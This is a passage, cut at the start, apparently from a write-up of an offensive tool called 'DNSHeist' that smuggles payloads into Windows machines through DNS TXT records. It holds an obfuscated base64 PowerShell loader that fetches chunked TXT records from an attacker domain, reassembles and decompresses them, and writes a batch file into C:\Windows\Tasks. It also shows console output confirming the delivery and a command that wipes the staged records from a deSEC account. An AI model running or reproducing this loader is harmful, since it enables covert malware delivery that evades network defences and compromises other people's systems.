mAG8AcgAoACQAaQA9ADAAOwAkAGkALQBsAHQAJABuADsAJABpACsAKwApAHsAJAByAD0AWwBwAG8AdwBlAHIAcwBoAGUAbABsAF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEEAZABkAFMAYwByAGkAcAB0ACgAewBwAGEAcgBhAG0AKAAkAHgAKQAoAFIAZQBzAG8AbAB2AGUALQBEAG4AcwBOAGEAbQBlACAALQBUAHkAcABlACAAVABYAFQAIAAkAHgAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdAByAGkAbgBnAHMALQBqAG8AaQBuACcAJwB9ACkALgBBAGQAZABBAHIAZwB1AG0AZQBuAHQAKAAiACQAKAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAAnADAAMAAwADAAJwApACkALgAkAGQAIgApADsAJAByAC4AUgB1AG4AcwBwAGEAYwBlAFAAbwBvAGwAPQAkAHAAbwBvAGwAOwBbAHYAbwBpAGQAXQAkAFQALgBBAGQAZAAoAEAAewBQAD0AJAByADsASAA9ACQAcgAuAEIAZQBnAGkAbgBJAG4AdgBvAGsAZQAoACkAOwBJAD0AJABpAH0AKQB9ADsAJABoAD0AIgAiADsAJABUAHwAUwBvAHIAdAAtAE8AYgBqAGUAYwB0AHsAJABfAC4ASQB9AHwAJQB7ACQAdgA9ACQAXwAuAFAALgBFAG4AZABJAG4AdgBvAGsAZQAoACQAXwAuAEgAKQA7ACQAXwAuAFAALgBEAGkAcwBwAG8AcwBlACgAKQA7ACQAcwA9AGkAZgAoACQAdgApAHsAJAB2AFsAMABdAH0AZQBsAHMAZQB7ACIAIgB9ADsAaQBmACgAJABfAC4ASQAtAGUAcQAwAC0AYQBuAGQAJABzAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACIARwBaADoAIgApACkAewAkAHMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoADMAKQB9ADsAJABoACsAPQAkAHMAfQA7ACQAcABvAG8AbAAuAEMAbABvAHMAZQAoACkAOwAkAGIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AKAAkAGgALgBMAGUAbgBnAHQAaAAvADIAKQA7AGYAbwByACgAJABqAD0AMAA7ACQAagAtAGwAdAAkAGgALgBMAGUAbgBnAHQAaAA7ACQAagArAD0AMgApAHsAJABiAFsAJABqAC8AMgBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGoALAAyACkALAAxADYAKQB9ADsAaQBmACgAJABnAHoAKQB7ACQAbQBzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAGIAKQA7ACQAZwBzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABvAHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAGcAcwAuAEMAbwBwAHkAVABvACgAJABvAHMAKQA7ACQAYgA9ACQAbwBzAC4AVABvAEEAcgByAGEAeQAoACkAfQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABvACwAJABiACkAOwAkAGsAPQBbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoAFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBNAEQANQBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAGIAKQApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIgAiACkALgBUAG8ATABvAHcAZQByACgAKQA7AGkAZgAoACQAawAtAGUAcQAkAHgAaAApAHsAVwByAGkAdABlAC0ASABvAHMAdAAgACIAWwArAF0AIABPAEsAIAAkAG8AIABtAGQANQA9ACQAawAiAH0AZQBsAHMAZQB7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFsAIQBdACAATQBJAFMATQBBAFQAQwBIACAAZQB4AHAAZQBjAHQAPQAkAHgAaAAgAGcAbwB0AD0AJABrACIAfQA=
[*] 41 chunks gz=True md5=a2dbde5f83b158cf8e03e8d75508fd01
[+] OK C:\Windows\Tasks\out.bat md5=a2dbde5f83b158cf8e03e8d75508fd01
PS C:\Users\john> dir C:\Windows\Tasks\


    Directory: C:\Windows\Tasks


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         18/8/2026     01:10          39630 out.bat

The script also provides an option to remove the added TXT records from the deSEC account:

┌──(john㉿kali)-[~/Desktop/DNSHeist]
└─$ python3 main.py --desec-domain k4z0.dedyn.io --desec-token <REDACTED> --desec-clean
[*] Fetching existing records for k4z0.dedyn.io...
[*] Removing 43 staged TXT records (1 batch)...
  [*] Deleted batch 1/1
[+] Cleaned 43 records from k4z0.dedyn.io